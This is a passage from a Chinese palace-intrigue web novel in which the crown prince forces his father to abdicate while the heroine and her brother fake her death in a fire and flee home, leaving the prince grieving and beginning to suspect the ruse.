他冷得感染了风寒, 这次是真的卧病在榻。 裴璟面无表情站在皇帝床榻前眼里没有半点哀伤。 皇帝盖着一床看不清原本颜色的薄被,床上也散发着一股子酸臭味,裴璟抬手在鼻尖 他对这个生理上的父亲没有任何感情,甚至可以说得上憎恨。 当年裴璟接过太子之位入北蛮为质,宣安帝表面上承诺替他看护母亲,还说只要他在北蛮活着一日,他的母亲就会在后宫安稳一日。 去的第二年,传来他的母妃重病的消息。 裴璟费劲心思才从北蛮皇宫中逃出来,伪装成流浪者千里奔袭回国,只为见他母妃最后一面。 谁料中途被两个北蛮人发现,他们向来以折磨人取乐,追逐他却不杀他,一点点用弓箭射伤他的四肢,腰腹,看他血流不止,看他痛苦难忍。 幸好遇见好心人相助,他才能活着到南陵京城。 然而他见到的是母妃的棺椁,还有宣安帝的怒喝。 宣安帝骂他不懂大局,若他偷跑一事被北蛮人发现,恐怕引起两国战乱,届时他裴璟就是陷天下于战火的罪人。 裴璟跪在母妃的灵堂前,默默听着所有人的指责,不辨一语。 北蛮人在他去的当年变着花样折磨他,挨饿受冻都是常事,他们还经常变着法跟他玩一些“小游戏”,裴璟后背的伤都是因此而来。 但他不能反抗,一日又一日地忍受着,为了他的母妃,为了他们南陵的平安。 后来,他们觉得裴璟不反抗的样子甚是无趣,时日一久便不再找他的麻烦,扔他在深宫任其自生自灭。 一国皇子的待遇是不要想的,顶多就比普通的奴仆好些,别死就行。 北蛮人也知道不能玩得太过,至少不能一两年不能弄死人。 后来,裴璟带着一身伤又回到北蛮,趴在冰冷的床榻上,笑出了声,笑得眼尾都湿润。 他最重的伤,不是北蛮给的,居然是他的父皇,南陵的皇帝打的。 裴璟清楚记得他说的每一个字。 “给朕狠狠打,最好打断他的腿再送回去,看他还敢不敢再偷跑回来。” 裴璟看了眼宣安帝下半身,他回国重新掌权后,亲自打断了他的双腿。 从前皇帝卧病不是真的病,只是下不了榻。 宣安帝被喂了一碗参汤,迷迷糊糊睁开眼,看见裴璟后像见了鬼一样大叫起来。然而他久不下床,双腿残疾,半点威慑力没有,如同行将就木,风烛残年的老人。 宣安帝张嘴发出嗬嗬的嘶哑声,“你、你、逆子,你会遭报应,遭天谴的。” 裴璟表情纹丝不动,对他翻来覆去的几句话连眉头都没皱一下,眼神冷漠。 半晌,他开口道:“孤想成亲。” 宣安帝的谩骂被他风马牛不相及的一句话堵在喉咙里,奇怪地看着他。 好像裴璟的婚事他能作主似的。 裴璟道:“我不想委屈她,她值得以后位为聘。” 提到傅归荑,他的目光蓦然变得柔软,声音生出几分期待与欣喜。 宣安帝脸色大变,他要后位? 裴璟难道要弑父? 裴璟像是看穿他的想法似的,自顾自笑着说出打算:“钦天监拿我们二人的八字去合,说明年的五月十五是个黄道吉日,现在开始准备还有半年时间,刚好合适。” 宣安帝倒吸一口凉气,他知道裴璟是个心狠手黑的,与他根本没有什么父子之情,对生的渴望迫使他开口求饶:“朕、我退位,我立刻写下退位诏书,保证你能在明年登基,娶你想娶的人。” 裴璟点点头,对他的识相十分满意,颔首示意赵清去准备东西,宣安帝亲手写下的诏书更名正言顺。 正巧小太监端来汤药,裴璟接过打算做做样子喂宣安帝服下。 谁料他先一步抢过去,不顾滚烫的药汁一饮而下,好像经过裴璟的手后会变成毒药似的。 裴璟也不强求。 他等在旁边,等宣安帝哆哆嗦嗦写完诏书,面容不甘地落下暗红色大印。 赵清将东西双手呈上。 裴璟留下一句话接过转身离开。 “看好他。” 宣安帝倏地松了一口气。 幸好南陵的传统是以“仁孝”治国,裴璟胆子还没有大到敢弑父杀君。 实际上宣安帝完全猜错了,裴璟不是不敢杀他,而是要他受尽折磨地活着。 看他躺在床上毫无自保之力什么也不能做,裴璟想怎么对他都可以,他要宣安帝日日活在明天或许不一定能到来的恐惧中。 当年他在北蛮受的苦,连同母妃的,他都要一点点慢慢偿还。 赵清跟在后面,出言询问:“太子殿下,宫人说天气越来越冷,是否要给德安殿加床被子,再放置炭火。” 裴璟单手握住明黄色的圣旨,脚步不停,声音如同外面的大雪冷冽。 “有口气就行。” 赵清会意,示意太监们一切照旧。 裴璟回到东宫,傅归荑正斜躺在迎枕上小憩。 看到她恬静的面容,裴璟下意识放轻脚步。 他先去隔间更衣洗漱一番,德安殿味道太重,傅归荑鼻子又格外灵敏,他怕熏着人。 裴璟还把自己烤得全身暖烘烘的才走近她。 “你回来了。”傅归荑听见动静睁开眼,目光惺忪迷离。 裴璟唇边带笑,坐在她身侧:“回来了,今天感觉怎么样?” 自从苍云九州的巫祝们替她祈福变好后,傅归荑变得不再排斥这些东西。 “还好,昨晚只醒了一次。”傅归荑支起上半身,裴璟顺理成章地把她搂近怀里,双臂紧紧箍在胸前,像个护食的凶兽。 “那就好,下一次给你祈福是不是明天?” 裴璟心情更好了,一切都在朝好的方向发展。 傅归荑淡淡道了句是。 裴璟把人转过来,笑着说:“要不,我明天陪你一起?” 傅归荑心头一紧,垂眸掩盖住眼里的慌乱,长睫轻颤,压住颤声道:“临近年关,你忙得过来吗?” “不妨事,”他口吻随意,抬手抽出她的木簪,一头如瀑的青丝倾泻而下,他打横抱起傅归荑走入床榻轻轻放下:“我陪你再睡会儿。” 扬手挥落厚厚的床帐,盖住窸窸窣窣的婉转低吟与紊乱喘息,久久不绝。 人算不如天算,翌日清晨天还黑得看不见五指,赵清在门外小声却急切地唤裴璟出去。 他轻身翻下榻,捞起地上散落的外袍披在身上,打开门压低声问他出了什么事。 赵清神色慌乱:“皇帝……皇帝好像看着不太好。德安殿的人来说,进的气少,出的气多……” 裴璟眉头一皱,朝里间看了一眼,最终还是拿起挂在一旁楎架的灰毛貂绒大氅搭在肩上。 临出门时,他吩咐素霖这边有任何异常立即派人去德安殿通知他。 素霖慎重点头。 裴璟带着人匆匆赶过去,心里却在奇怪,皇帝怎么忽然病重。 傅归荑早在他下床时惊醒了,凝神听清他的命令后心里一松,她知道哥哥肯定已从苍云九州秘密返京。 昨日听闻裴璟要在与她一同听巫祝祈福祷告时,心虚地以为她与哥哥的计划暴露了,昨晚上愣是没敢对他的索取无度表现出一丝推拒。 她撑起酸软的腰肢,轻嘶一声。 心里纳闷昨日裴璟遇到了什么事,刚开始时还注意分寸,后来动作愈发激狂,眸底发红闪着兴奋,不管不顾地作弄她。 傅归荑依着床头歇了半晌,叫素霖进来洗漱更衣。 用完早膳后,外面的宫婢说巫祝等人已经到东宫。 傅归荑披好大氅,带上双层白绢纱齐胸帷帽走到西厢房,那里已经有一群全身乌黑,双手拿着奇怪的法器的人,他们脸上用特殊的颜料涂成黑红相间,看不出原来的样貌。 然而傅归荑还是一眼就认出混在其中的秦平归。 她面色如常地走进去,由着一群人将她团团围住,手舞足蹈地开始跳舞念祝词。 不知道哥哥用了什么方法将素霖等人支走,他立刻与傅归荑两人调换衣物着装。 秦平归目光灼灼凑到她耳边道:“一路平安,我们今晚见。” 傅归荑压下眼里的担忧,点点头。 第67章 殇逝 哥哥,我们回家。 宣安二十八年, 十一月十三日,南陵东宫燃起了一场大火。 谁也不知道火从何而起,等到发现的时候, 寝殿里的门窗已经被锁死。 烈焰燃烧,伴随着一声声呐喊嘶鸣。 “哥哥, 你是来带我走了吗?” “哥哥, 我跟你走。” “哥哥……” 里面的人嗓子像是被烟熏坏了, 哑得听不出原貌。 裴璟接到消息赶来的时候,正好看见房中的硕大沉重的梁木重重砸下, 原本站立的黑影瞬间倒下。 “不!”裴璟先是愣了一下,回神后目眦欲裂,不管不顾地往前冲, 似乎要跳进去与烈火共舞。 “太子殿下——”赵清惊恐地拦住他。 裴璟哪里是区区一个赵清能拦住的,他一脚踢开挡在面前的人, 像看不见烧得通红的圆铜门环似的, 抬手去扯。 碰上瞬间,灼伤血肉的炙烤声滋滋响。 裴璟恍然未觉, 手脚并用去捶打紧锁的大门, 发现无论他用多少力气都纹丝不动, 复又改为用自己的身体去撞。 傅归荑还在里面,她还在里面。 裴璟觉得自己的五脏六腑都被反弹移了位,他的眼前变得模糊一片,喉鼻像是被烟堵住, 难以呼吸。 火势越来越大,屋里从高处坠落的东西越来越大, 整间屋子也摇摇欲坠, 房檐随时都有崩塌的危险。 周围的人都被他可怖到近乎扭曲的面容吓得呆在原地, 赵清撑起重伤的身躯大喊:“都是死的吗?还不去拦住殿下!” 他声音尖锐,每个字都破了音,响彻天际。 立刻有人上前去拉开裴璟。 “松开!”裴璟勃然厉喝,手脚并用挣扎。 “殿下,火势太大,里面危险!”赵清赶过来哭着脸道。 危险? 难道傅归荑在里面就不危险吗? 双拳难敌四手,裴璟用尽全力也无法甩开他们,更何况来阻拦他的都是秦平归训练出来的好手。 他被迫被带离危险区域。 忽地一声巨响。 寝殿房顶从中间开始塌陷,继而整个屋顶坍塌一片。 裴璟怔怔望着眼前,暗夜茫茫,火光烈烈,他一反常态没有再往前冲。 赵清提心吊胆地看着安静下来的裴璟,他漆黑如墨的瞳仁中涌起毁灭一切的疯狂。 蓦地,他抬起手往前探,五指颤抖,双唇紧抿。 下一刻,用力捂住左胸,生生呕出一口血。 裴璟强撑着摇晃不稳的身体,沉声下令:“带她、带她出来,没看见她的尸体,我不信。” “我不信!” 最后三个字声嘶力竭,像是用尽最后一口气。 裴璟两眼一黑,向前倒了下去。 * 秦平归将偷运进来的尸体放在地上,迅速给它套上傅归荑的衣服,等听见裴璟的声音后立刻将事先破坏的房梁的机关用袖箭射毁。 千钧一发之际,他跳窗而出。 到了安全的地方,秦平归双手双脚舒展,骨头发出桀桀响声,腿脚瞬间增长数寸不止。 早年间他为了刺探情报学会一门缩骨的功夫,不过由于年岁渐大,骨骼收缩程度逐年递增,近年来他已经很少使用。 幸好现在是冬日,厚厚的大氅加上一圈蓬松的毛领,他把脖子一缩又能身高又能少几寸。 此刻正是皇宫最混乱的时候,他蛰伏在暗处,冷眼旁观自己的下属有条不紊地赶去救火,于此同时还不忘宫内的巡逻安防。 得亏之前调整了他们的轮值方案,将几个好手今天统统排成休沐,否则他哪有那么容易逃出东宫。 别看现在东宫好似乱成一团,裴璟也昏迷不醒,实则若是有人敢趁乱造次,暗卫定能立刻将其拿下,押后待审。 裴璟敢把傅归荑独自留在东宫,防护之严密令人瞠目咋舌,若今日换成其他人,恐怕插翅难飞。 秦平归等待巡逻暗卫换岗的瞬间,沿监控死角翻出东宫。 傅归荑独自等在城外山林的木屋里,里面有干粮,水,还有护身用的匕首、连弩和长弓。 山风飒飒,木叶萧萧。 屋外偶尔传来几声空寂的鸟鸣与野兽的呼号,傅归荑独坐在燃烧的火炉边发呆,烈焰滚烫,脸颊皮肤炙热,但她心里仍然有种不知名的森然冷意。 哥哥的计划到底能不能成功。 傅归荑忍不住紧张,他们的出逃计划里必须用到火焚,然而以她的能力不足以逃出重重森严的东宫,只能哥哥去。 他万一烧伤怎么办? 一想到秦平归的脸,傅归荑心里说不出难受,哥哥总是替她去冒险。 当年引走北蛮人,如今还要帮她假死脱身。 她觉得自己太没用了。 还有裴璟,他的心思缜密,远超常人,真的会相信她死了么? 傅归荑双目失神望着跳跃的火焰,眼前不由自主浮现出裴璟的脸。 咚咚咚。 傅归荑惊得从圆木矮凳上跳起来,握住手边的连弩悄悄走到门后。 “是我。”秦平归的声音响起。 傅归荑绷直的背脊一松,手迅速抽出粗糙的门栓。 秦平归一个闪身进来,拍了拍肩上的雪。 “哥哥,你没事吧?”傅归荑担忧地从头到脚扫视他全身几遍,发现没有明显的伤痕后眉头微展。 “没事。”秦平归取下包袱,里面女尸身上的衣服扔进火炉里焚毁,转头看见傅归荑自责的神情,手放在她的右肩上拍了拍:“我这次是真的好好回来了,别担心。” 傅归荑强行把眼里的泪雾逼退,哑声道:“是我没用,总是要哥哥替我解决麻烦。” 秦平归半蹲在她身前,视线与之平齐:“傻妹妹,你在说什么傻话。是我对不起你,现在我在纠正我犯下的错。” 傅归荑眼眸感动,摇头道:“不怪哥哥,你别自责。” 秦平归用另一只手揉了揉她的头,眉眼宠溺,笑道:“你更不需自责,当年我是自愿的,如今也是。为我的妹妹,做什么都是我自愿的。” 眼里的热意汹涌而来,傅归荑登时别过脸,故意问他现在赶路离开吗? 秦平归装作没发现她的异常,拒绝道:“现在还不行。别看我们出了京城,实则在京城范围三十里内都有暗卫,若是我们夜间行路,很容易被他们捕捉到踪迹。” 傅归荑闻言眼眶微张,觉得裴璟实在是太过谨慎小心,连京城外也不放过。 秦平归不好意思地绕绕头,讪笑道:“其实是我弄的。主要是当年他提倡变革后,刺杀他的各路人马多不胜数,有北蛮的,有地方的,还有京城门阀世家雇的杀手,只有一路上层层截断刺客,才不至于让皇宫内的暗卫手忙脚乱。” 傅归荑哦了一声,不自知地蜷曲手指,生硬跳过这个话题,问起他明日的打算。 “我还是穿女装,用帷帽遮住脸。你扮做我的护卫,明日我们用马车离开,这样才不引人注目。等出了裴璟势力范围,咱么换快马赶路。” 傅归荑一切听从秦平归安排。 入夜,呼啸的冷风打在木格窗框上,铿锵作响。 两人都没睡着。 秦平归守在门口,闭目养神,傅归荑躺在屋内唯一一张简陋的床榻上。 说是简陋,实则上面铺了厚厚的褥子,盖得被衾也是极好的蚕丝被。 只是临时将就的一夜,秦平归却舍不得她受一点委屈。 “哥哥,你冷不冷?”傅归荑忽然出声。 “不冷,你冷么?”秦平归睁眼,看向床榻上的人,那么薄一点,像个纸片似的。 傅归荑摇摇头。 又过了一会,她忍不住开口道:“哥哥,裴璟他、他真的会信我死了么?” 秦平归失笑道:“傻妹妹,你跟他相处那么久,他是这么好糊弄的么?” 傅归荑啊了一声,没想到秦平归给出的答案如此出乎意料。 秦平归走到她床榻前,坐在一旁的圆木矮凳上,解释道:“我们所有的准备都是为了能够成功过逃离裴璟的地盘,为我们争取时间回到苍云九州。” 秦平归注意到火炉里的碳快要熄灭,顺手铲了新的进去,微弱的火苗没一会儿又冒了起来,暖黄的光照在秦平归侧脸上,显得他整个人暖了几分。 “等到了苍云九州,咱们自己的地盘,他就算想硬抢,也要问问咱们的人同不同意。” 傅归荑被他的语气中的迷之自信逗笑了,哥哥已经把自己当成苍云九州,镇南王府的人。 这样很好,她还怕哥哥一下子无法适应自己的身份。 “完了,”傅归荑惊叫一声,上半身弹射而起:“我写信告诉父亲,你……你不在了。” 说到后面,声音越来越小,愧疚又难堪。 秦平归本想告诉他自己已经调换信件,话到嘴边变成:“没事,等回去给他们来个大变活人,到时候解释清楚就成。” 傅归荑点点头。 “怎么,你还有什么事要说么?”秦平归见傅归荑双唇抿着一条下压的弧线,眼神欲言又止。 傅归荑垂下眸,半晌低声道:“哥哥,你能不能不要与父亲母亲说……我与裴璟的事情。” 秦平归毫不犹豫地答应。 傅归荑眸中的紧张之色终于消散,她一晚上都在心里憋着这件事不知如何开口。 若是父亲母亲知道了,恐怕又要掀起一阵风云。 她已经打算此生不会嫁人,安静地守着自己的一家人度过余生便是最大的幸事。 秦平归看在眼里,心里默默叹了口气,又把裴璟的祖宗十八代问候了个遍。 “早点休息,”秦平归守在傅归荑床前,“明天还要赶路。” 次日,天刚蒙蒙亮,秦平归领傅归荑走到准备好的马车前,两匹骏马并排而立。 他们按照计划,顺利地离开京城。 出了京畿重地,两人迅速更换衣服,舍弃马车拿上假路引,驱马直奔苍云九州。 傅归荑始终没有回头看一眼南陵皇宫的方向。 往事如飞烟,聚散随风去。 傅归荑余光看见一旁的秦平归,不,如今他已成为傅归宜,发自内心地灿烂一笑。 哥哥,我们回家。 她昂首扬鞭,劈开一路荆棘。 * 南陵东宫。 裴璟面容憔悴地看着地上烧焦的尸体,连连否定这不是傅归荑。 素霖眼眸通红,压抑住蚊蝇般的抽泣声。 “哭什么!”裴璟指着她寒声厉喝:“这不是她,她没死!” 素霖一听,伏地而跪,后背的起伏颤抖不止。 赵清强忍着恐惧递上一物。 裴璟见到后两眼发晕,颤抖着手臂接过放在眼前。 这枚玉坠她前些时日向他讨了去,裴璟知道这是傅归宜的贴身之物,傅归荑从不离身。 掌心用力一握,剧痛直达心口。 他的手被灼伤血肉模糊,太医刚替他敷上药膏,又缠几层白色纱布。 裴璟复又看向地上面目全非的焦尸,缓缓蹲下,把它抱在自己怀里。 “他们都说这是你……”裴璟的下巴轻轻抵在尸体头部,双眸微赤,满脸神伤,“但我不信,我不想信。” “傅归荑,这不是你,对不对?” 仵作验过尸体,年龄身型均与傅归荑一一对上。 裴璟的手不自觉收紧,蓦地忽然发现抓了慢慢一掌心的碳黑粉末。 他惊慌地松开怀里人,害怕因自己的蛮力而破坏她的身体。 一阵风刮过,粉末被风卷走,迅速消失在掌心。 裴璟猛地合拢五指,然而越是想抓紧,掌心的东西流逝越快,到最后什么也没剩下。 那具尸体最终被裴璟烧成了灰,全数装进他要求烧制的龙凤呈祥青花纹瓷罐中,被他放进了西厢房。 罐子很大,空间只装满三分之一,另外三分之二是为谁准备的不言而喻。 裴璟闲来无事会用匕首在罐子内壁上刻字。 他和傅归荑的名字。 西厢房已重建完成,丝毫看不出曾经被大火焚毁过。 裴璟从那日起便睡在这里,躺在竹制的床榻外侧,里侧放上瓷罐。 他每夜都要抱住它入睡,然而无论他用自己的体温如何暖它,只要他一放手,须臾之间,瓷罐便会变得寒冷入骨。 夜晚,裴璟的头贴在瓷罐上,自言自语道:“傅归荑,你好冷,我真是没用,没办法让你暖起来。” 清泪无声地落在瓷片外侧,顺着饱满圆润的圆罐弧度缓缓淌下,拖出两道水痕,没入被衾,凝成水洼。 “傅归荑,我从来没有梦到过你。”裴璟的声音变得喑哑:“你吝啬到,连梦也不肯施舍给我么?” “你对我,怎么这么狠心。” 裴璟在短短一天内,体会到了从云端落入深渊的感觉。 他本想在新年那天告诉她,自己已经定好了两人成亲的日子,她只要好好养身体,等着嫁给他就行。 傅归荑会成为全天下最尊贵的女人,他裴璟拥有的一切财富,荣耀,权利都要与她共享。 他们二人会成为最亲密的人。 他还准备了一份礼物送给傅归荑。 这些日子他趁她睡着的时候偷偷将傅归宜的线索又查了一遍。 在扩大搜寻范围后,他终于找到一点点方向,傅归宜很可能当年没有来到南陵,而是去了北蛮。 裴璟终于下定决心,和盘托出自己曾经做过的错事。 他会弥补,他发誓无论耗费多少人力财力,一定会帮傅归荑找到哥哥,了却她的遗憾。 谁知道。 他只是出去了一趟,六个时辰而已。 那天与往日没有任何分别,同样的天,同样的东宫。 裴璟无声地呜咽起来,像一匹行走在黑夜的孤狼,他失去了需要他保护的狼群。 他淹没在茫茫黑夜中,而黎明永远不会再来。 惊慌恐惧,痛不欲生。 傅归荑的死已经过去十天。 裴璟拥住瓷罐也无法再轻易入眠,只有在极累的情况下他才会打个盹,他一天甚至睡不到一个时辰。 赵清看在眼里急得上火,趁着裴璟眯眼的时候悄悄点上安神的檀木香,希望他能多睡片刻。 这些时日,眼看着太子殿下一天比一天憔悴,短短数十日瘦了一大圈,腰间空荡荡的。 裴璟再次睁开眼时发现自己趴在书桌上,脑袋昏沉,似乎睡了很久。 侧头一看,肩上披了件薄薄的黑色织金斗篷。 他惊得立刻直起身,守在旁边的赵清吓了一跳。 “太子殿下,发生什么事了?” 裴璟动鼻吸了口气,皱眉问他:“你是不是点香了?” 赵清点头。 裴璟脸色大变,骤然抬手用力打翻案桌上的香炉,声色俱厉道:“给孤灭了!” 吓得赵清哆哆嗦嗦用脚踩灭。 裴璟又叫人打开窗户透气,待确认书房内没有一丝檀木香后才颓丧跌倒在靠椅上。 手抚上额角揉了揉,冷声道:“从今以后,东宫上下不许点香,什么都不可以。” 赵清知道太子殿下在想什么,连忙磕头认错,心里却替殿下难受。 人已经不在了,做这些还有什么意义。 夜晚,裴璟将自己里里外外洗了三四次,确认没有一点味道才敢踏入西厢房。 裴璟躺在榻上,侧头吻了吻冰冷的瓷罐,低声道:“你不喜欢这个味道,我知道的。” 半夜,裴璟从噩梦中惊醒,手本能地伸向空荡荡的床榻内侧,触到满手冰凉时才敢喘气。 他刚刚梦见瓷罐被打碎,里面的东西全都随风而散,他怎么抓也抓不住。 裴璟小心将瓷罐搂在怀里,脸颊贴在上面,冷得透骨,却让他分外安心。 然而长期不足的睡眠加上分外繁重的政务,裴璟的身子日渐垮了下来,终于某一日倒在上朝的大殿上。 群臣们炸开了花。 这些时日,他们早就感受到太子殿下分外低沉的气压,周身的骇戾之气几乎化为实质。 每个人都鹌鹑似地不敢冒头放肆,更不敢懈怠公务。 他们是因为听说东宫出了大事,十一月十三日的那场大伙烧死了太子殿下宠爱的那位美人,美人已怀胎六月。 这种事换做是谁都没办法无动于衷。 有不长眼,想趁机靠女儿搏上位的佞臣趁机重提选秀一事,被太子殿下直接拿下,冷斥他十大罪状,当场扒了官服又打了五十大板。 被带到侍卫拖出宫门的时候眼看着要活不成了,果然没过几日便传来他死在家中的消息。 众人心里门清,现在往东宫后院塞人无异于自取灭亡。 裴璟醒来后,对上赵清等人担忧的眼。 他知道自己的状态很不对,当天传来太医替他开了一剂安神汤,但是他依旧不肯点檀木香。 “傅归荑,你走了半个月,我怎么感觉好像我已经快过完这一生了。” 又是睁眼无眠的一整晚。 赵清实在是看不下去,偷偷传信给在苍云九州伪装成世子秦平归,把事情的前因后果简明扼要地写清楚,请他想想办法。 秦平归,不,现在是傅归宜。 他不是第一次来苍云九州,却是第一次以“傅归宜”的身份来苍云九州。 踏入镇南王府前,傅归宜的脚步踟蹰,停滞不前。 傅归荑已经跨过门槛往里走,忽然发现后面的人没跟上来。 “哥哥,走。”傅归荑笑着转头,朝他用力一挥手,示意他进来。 傅归宜眼神飘忽,心里难得紧张:“要不我们去给他们两位买点礼物,空手上门总归不合礼数。” 傅归荑走回来拉住他的手,失笑道:“谁回自己家还讲究这些,你平安回来是最珍贵的礼物。” 傅归宜还是还是不敢进去。 “父亲母亲等你很多年了,”傅归荑望着他的双眼,笑得灿烂明媚:“我们都在等你回家。” 傅归宜跟着笑,抬头摸了摸她的脑袋,一同走了进去。 那一天,他终于见到自己朝思暮想的家人。 他的父亲镇南王是个九尺高的壮汉,一脸络腮胡子看上去很不好惹,却在看见他的瞬间红了眼,浑身颤抖,差点跌倒。 他的母亲是典型的南陵人,娇小貌美,傅归荑的样貌大部分继承了她,母亲哭着把他抱在怀里,一直说回来就好,回来就好。 他们甚至都没有盘问过自己的身份,更没有要求他摘下面具。 仿佛只是视线相对,就能确认彼此的身份。 傅归宜想,血脉这种东西实在是太奇妙。 遥想当初,他看见傅归荑的第一眼时,也是这种感觉。 傅归宜蓄在眼眶的泪水,悄然藏匿于母亲的乌发间。 他的回归暂时不宜声张。 晚上,母亲亲自下厨做了一桌子好菜,一家四口人坐在院子里的方桌上。 正好一人一边,四角俱全。 晚膳上的每一道菜,它们的味道,摆放的位置,傅归宜记了一生。 那是家的味道。 那夜月亮很圆。 当他收到南陵京城的传信时,内心冷笑。 裴璟这个没用的玩意,居然到现在还没发现傅归荑是假死的。 他淡定地回信。 大抵意思是请太子殿下节哀,下一个更好。 作者有话说: 傅归宜:倒油我是专业的。 裴璟:我拿你当兄弟,你这么对我? 第68章 真相 后悔,亦无期。 裴璟坚持不肯点香。 从前他头疼失眠需要用到檀香安眠, 后来有了傅归荑,她比任何安神香的效果都好。 真是奇怪。 只要她在自己身边,裴璟每一天都睡得格外踏实心安。 若不是她不喜参与南陵朝政, 裴璟恨不得走哪里都带上她。 又是一个无眠夜,陪伴裴璟的唯有床榻上冷彻如骨的瓷罐, 它比外面的冬雪还顽固。 雪尚能有一日被融化成水, 而它始终冥顽不化, 日复一日提醒着裴璟世间已无傅归荑。 裴璟累极,他开始出现幻觉。 忽有一日回到西厢房, 他眼前一片虚幻模糊,在虚无的幻想里恍恍惚惚看见傅归荑坐在书桌前写字。 她在写什么? 裴璟摇摇晃晃跑过去,还没碰见她的人, 傅归荑又闪现到窗边望着远方。 他低头看去,纸上字迹晕成一团。 裴璟哪里顾得上去一一分辩, 他又快步跑到窗边, 伸出双手往前扑,拼命想要抓住她。 然而在快要触碰到她时, 傅归荑的影像化成轻烟散去。 裴璟扑了个空, 惯性力让他整个人撞上冰冷的木窗格, 额头上瞬间冒了个肿块。 疼痛让他清醒过来。 他的身体顺着冷硬的墙慢慢滑下,蹲在墙角,双臂抱住自己的膝盖,浑身发抖。 裴璟认出来了。 傅归荑写的是后会无期。 后悔, 亦无期。 裴璟的心像被挖了出来,胸膛血淋淋的, 痛不欲生。 他终于体会到当年傅归荑得知傅归宜死时的心情, 也终于懂得她为什么会欺骗自己, 傅归宜没有死。 裴璟憋红了眼,抬头望着空荡荡,黑魆魆的屋子,终是忍不住流下眼泪。 没有傅归荑的日子,他究竟还要过多久,他还能撑多久? 裴璟自己也不知道。 他可以下令让所有人都不提傅归荑,也可以像傅归荑一样假装她还活着,甚至可以派人去寻找与她长得相似之人人,再命令她模仿傅归荑的一举一动。 但那又有什么用。 终究不是她。 裴璟憎恶自己的清醒,憎恶自己的理智。 让他连骗自己都成了奢望。 他多想放纵一回,装作一切都翻篇,糊里糊涂地过完余生。 “太子殿下,您的……没事。”赵清住了嘴。 裴璟淡淡看了他一眼,继续行走在漫天大雪里。 赵清亦步亦趋撑着伞跟在后面,眼眶酸涩。 他方才以为自己眼花了,太子殿下的头上怎么会有落雪。 定睛一看,原来是白了头。 裴璟双鬓处雪白一片,还有逐渐望向下蔓延的趋势。 赵清揉了揉湿润的眼角,期盼着秦大人赶紧回来处理这件事。 太子殿下怕是已经到极限了。 裴璟坐在书房,看着掌心的玉坠怔怔出神。 他在想要如何处理傅归荑的死讯,裴璟不可能瞒着镇南王府一辈子。 她很在乎父母双亲,肯定不愿意让他们伤心。 裴璟眼前渐渐漫出白雾,当初傅归荑提出用人伪装成傅归宜先行回苍云九州,再假装病逝的计划时,他心里说不出的高兴。 她愿意放下过去,还主动提出愿意和他成亲。 那几日,裴璟只要一想到他们即将成为夫妻,满心的欢喜怎么也遮掩不住。 他在议事时会忽然发出笑声,吓得正在回禀政事的大臣们面无血色,伏地而跪,不停磕头认错,一字不落地将自己没做好的事情统统交代,生怕慢一分就被发落。 裴璟面无表情地处置了一批平日里偷奸耍滑的人。 他意识到自己与所有凡夫俗子一样,期待着属于他的洞房花烛夜。 裴璟眨眨眼,强行把自己从回忆中拉回,然而心口的酸涩痛得令他难以呼吸。 “秦平归现在还在苍云九州吗?”裴璟嗓音嘶哑。 赵清回答:“还在,殿下要召他回京吗?” 赵清心里巴不得秦平归立刻回来,现如今唯有他能劝动殿下走出伤痛。 裴璟沉思片刻,“传令给他,让他用迂回的方式透露些她出事的口风,试探镇南王的态度。告诉镇南王,孤要娶她,百年以后一同葬入皇陵。” 赵清在心里叹了口气,这是不准备让秦大人先回来。 罢了,但愿到时候他的回信能让殿下暂时释怀。 季明雪正好有事求见裴璟,正巧看见裴璟在把玩一枚玉坠。 他对这个玉坠记忆深刻,虽然不知道为什么在太子殿下手上,但下意识脱口而出。 “这不是傅世子的东西吗?” 裴璟身形一顿,掌心合拢收了起来,抬眼望他:“你倒记得清楚。” 季明雪被裴璟冷冽的眼神刺了一下,连忙低头解释:“微臣只是见这玉坠图案特殊,所以才记忆犹新。” 他可没有太子殿下抢人东西的意思。 裴璟不想与其他人谈论傅归荑的一点一滴 ,略过这个话题,问他有什么事。 季明雪交代了一下追云骑最近取得的成效,夸的时候还不忘带上傅归荑。 然而裴璟表情始终淡淡。 季明雪心里纳闷,往日他若是提到傅世子的功绩,太子殿下总是一副与有荣焉的模样,今日却像是没听见似的。 难道他与傅世子起了龃龉? 可是傅世子已经离京,两人还能发生什么争执。 季明雪按下疑惑,决定回去写信问一问傅归荑,他是真心欣赏这位大公无私,朗月清风的镇南王世子。 临走前,裴璟察觉到季明雪欲言又止的表情,皱眉问他还有什么事? 季明雪还想对刚进门的事找补一二,憋了半天憋出一句话。 “臣是因为近日看见毒蛇大人手里也有类似图案的东西,所以才一眼认出这东西是傅世子的。” 裴璟眸光一凛:“你说什么?” 季明雪已经离开一段时间,裴璟盯视着手里的玉佩久久不能回神。 秦平归有个手串,上面刻有相同的图案。 方才季明雪说前一段时间,秦平归去找他一同商议京畿防卫布置。 自从睿王一党败落,京畿军权早就落入裴璟的手里,由季明雪负责。 秦平归本就是布防一块的好手,皇宫乃至东宫严密得如同铁桶一块都离不开他的手笔。 更何况他又是暗卫首领,季明雪得了他的指点不疑有他地照做。 秦平归,傅归荑。 裴璟头痛地揉了揉额角。 自己怎么会异想天开,认为秦平归会帮助傅归荑假死脱身。 两人之间并无瓜葛,秦平归又是他倚重的心腹,他不可能不知道傅归荑对自己的重要性,更不可能背叛他。 况且,他也没有背叛他的理由。 他又不喜欢傅归荑。 十年相伴,裴璟对秦平归的了解,大概就像他了解自己一样。 爱一个人的眼神是无法隐藏的。 裴璟是男人,他分得清秦平归对傅归荑是欣赏而非男女情爱。 裴璟不是没有闪过傅归荑假死脱身的念头,可仔细想未免有些荒唐。她除非真得了大罗神仙相助,否则怎么可能在他眼皮子底下成功逃脱。 且不说她在南陵皇宫举目无亲,只能依附于他一人,便是真有帮手,也绝对不敢在东宫动手脚。 东宫的防护有多严,没人比裴璟清楚。 宫内三步一岗,五步一哨,还有躲在暗处的暗卫时刻警惕,一只耗子溜进东宫,裴璟都能知道它是公是母。 况且,若傅归荑没有死,那具尸体是谁? 谁有这么大本事从外面不声不响地运进来这么显眼的东西还不被他发现。 裴璟冷着脸回到西厢房,目光落在他日日相伴入眠的瓷罐上。 里面,真的是傅归荑吗? 裴璟皱眉叹了口气。 自己是疯了么,竟然有这样荒谬的念头。 * 苍云九州,镇南王府。 相比起南陵冬天的严寒,苍云九州只有早晚有些凉,中午一件薄衫足以御寒。 傅归宜闭上眼,坐在院外的摇椅上晒太阳,心道难怪傅归荑不适应南陵冬日。 按照两人的计划,镇南王府对外宣称世子在回京途中遭遇大火被烧成重伤,目前在府内养病不见外客。 